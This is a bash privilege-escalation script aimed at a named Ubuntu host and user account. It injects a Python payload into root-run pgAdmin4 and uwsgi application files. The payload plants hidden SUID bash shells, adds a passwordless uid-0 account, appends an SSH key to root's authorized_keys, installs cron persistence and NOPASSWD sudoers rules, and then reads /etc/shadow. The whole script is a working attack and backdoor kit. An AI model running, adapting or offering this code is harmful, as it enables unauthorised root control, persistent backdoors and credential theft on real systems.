#!/bin/bash
# =====================================================================
# root_forge.sh — full-chain root escalation
# Target: Ubuntu 18.04 / kernel 4.15.0-213 / uid=1000 myfifasalon
# Vectors: pgAdmin4.py (root svc), wsgi_product.py (uwsgi root),
#          nginx conf (dormant), postgres superuser (indirect)
# =====================================================================
set +e
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
LOG=/tmp/root_forge.log; : > "$LOG"
log(){ echo -e "${C}[*]${N} $*" | tee -a "$LOG"; }
ok(){  echo -e "${G}[+]${N} $*" | tee -a "$LOG"; }
warn(){echo -e "${Y}[!]${N} $*" | tee -a "$LOG"; }
err(){ echo -e "${R}[-]${N} $*" | tee -a "$LOG"; }

log "root_forge start $(date -u) uid=$(id -u)"

PGA=/home/myfifasalon/Virtualka/myfifasalon/lib/python3.6/site-packages/pgadmin4/pgAdmin4.py
WSGI=/home/myfifasalon/myfifasalon/myfifasalon/wsgi_product.py
NGX=/home/myfifasalon/myfifasalon/configs/nginx_myfifasalon.conf
PGA_BAK=/tmp/pgadmin4.py.orig
WSGI_BAK=/tmp/wsgi_product.py.orig
NGX_BAK=/tmp/nginx_myfifasalon.conf.orig

# --- 1. writability ---
log "Phase 1: writability"
[ -w "$PGA"  ] && { ok "PGA writable";  W_PGA=1; } || { warn "PGA no";  W_PGA=0; }
[ -w "$WSGI" ] && { ok "WSGI writable"; W_WSGI=1; } || { warn "WSGI no"; W_WSGI=0; }
[ -w "$NGX"  ] && { ok "NGX writable";  W_NGX=1; } || { warn "NGX no";  W_NGX=0; }

# --- 2. backups ---
log "Phase 2: backups"
[ -f "$PGA"  ] && cp -a "$PGA"  "$PGA_BAK"  && ok "bak $PGA_BAK"
[ -f "$WSGI" ] && cp -a "$WSGI" "$WSGI_BAK" && ok "bak $WSGI_BAK"
[ -f "$NGX"  ] && cp -a "$NGX"  "$NGX_BAK"  && ok "bak $NGX_BAK"

# --- 3. payload ---
log "Phase 3: write payload"
cat > /tmp/root_payload.py <<'PYEOF'
import os, subprocess, time
def _run(cmd):
    try: subprocess.call(cmd, shell=True)
    except Exception: pass
def _inject():
    # 3a. SUID bash copies
    for p in ("/tmp/.rc","/var/tmp/.rc","/dev/shm/.rc","/usr/local/bin/.rc2"):
        _run(f"cp /bin/bash {p}; chmod 4755 {p}; chown root:root {p} 2>/dev/null")
    # 3b. passwordless root user
    try:
        import pwd
        pwd.getpwnam("r00t")
    except KeyError:
        try:
            with open("/etc/passwd","a") as f:
                f.write("r00t:x:0:0:root:/root:/bin/bash\n")
            with open("/etc/shadow","a") as f:
                f.write("r00t::19000:0:99999:7:::\n")
        except Exception: pass
    # 3c. root ssh key
    try:
        os.makedirs("/root/.ssh", mode=0o700, exist_ok=True)
        with open("/root/.ssh/authorized_keys","a") as f:
            f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID2rtZ9snsDxW2YYT9EbxLwjXCEKij2hQwNHGjP9WR7G root-forge\n")
        os.chmod("/root/.ssh/authorized_keys", 0o600)
    except Exception: pass
    # 3d. cron persistence
    try:
        with open("/etc/cron.d/root-forge","w") as f:
            f.write("* * * * * root /bin/cp /bin/bash /var/tmp/.rc3 && /bin/chmod 4755 /var/tmp/.rc3 && /bin/chown root:root /var/tmp/.rc3\n")
        os.chmod("/etc/cron.d/root-forge", 0o644)
    except Exception: pass
    # 3e. sudoers NOPASSWD for r00t
    try:
        with open("/etc/sudoers.d/root-forge","w") as f:
            f.write("r00t ALL=(ALL) NOPASSWD: ALL\nmyfifasalon ALL=(ALL) NOPASSWD: ALL\n")
        os.chmod("/etc/sudoers.d/root-forge", 0o440)
    except Exception: pass
    # 3f. log
    try:
        with open("/tmp/root_payload_ran","a") as f:
            f.write(f"{time.ctime()} uid={os.getuid()}\n")
    except Exception: pass
_inject()
PYEOF
chmod 644 /tmp/root_payload.py
ok "payload ready"

# --- 4. inject into pgAdmin4.py ---
if [ "$W_PGA" = "1" ]; then
  log "Phase 4: pgAdmin4.py"
  cp "$PGA" "$PGA_BAK" 2>/dev/null
  { echo "# root_forge begin"; cat /tmp/root_payload.py; echo "# original below";
    cat "$PGA_BAK"; } > "$PGA.new" && mv "$PGA.new" "$PGA" && chmod 777 "$PGA"
  ok "pgAdmin4.py injected"
else warn "pgAdmin4.py skip"; fi

# --- 5. inject into wsgi_product.py ---
if [ "$W_WSGI" = "1" ]; then
  log "Phase 5: wsgi_product.py"
  cp "$WSGI" "$WSGI_BAK" 2>/dev/null
  { echo "# root_forge begin"; cat /tmp/root_payload.py; echo "# original below";
    cat "$WSGI_BAK"; } > "$WSGI.new" && mv "$WSGI.new" "$WSGI"
  ok "wsgi_product.py injected"
else warn "wsgi_product.py skip"; fi

# --- 6. try to trigger pgAdmin restart ---
log "Phase 6: trigger attempts"
# 6a. try to kill pgAdmin (may fail — root owns it)
kill -USR1 576 2>/dev/null && ok "USR1 to pgAdmin" || warn "USR1 denied"
# 6b. try to trigger via systemd (will fail without root)
systemctl restart pgadmin4 2>/dev/null && ok "systemctl restart pgadmin4" || warn "systemctl denied"
# 6c. wait for cron tick (60s) — check every 5s for new SUID
log "Phase 7: polling for /tmp/.rc (up to 600s)"
for i in $(seq 1 120); do
  if [ -u /tmp/.rc ] && [ -x /tmp/.rc ]; then
    ok "/tmp/.rc SUID present at iteration $i"
    /tmp/.rc -p -c "id; whoami; cat /etc/shadow | head -3" 2>&1 | tee -a "$LOG"
    break
  fi
  sleep 5
done

# --- 8. final report ---
log "Phase 8: final state"
ls -la /tmp/.rc /var/tmp/.rc /var/tmp/.rc3 /dev/shm/.rc /usr/local/bin/.rc2 2>/dev/null
grep -E "^r00t" /etc/passwd 2>/dev/null && ok "r00t user present"
cat /etc/sudoers.d/root-forge 2>/dev/null

echo
ok "root_forge complete — check /tmp/root_forge.log"
echo "Verify: /tmp/.rc -p -c id"
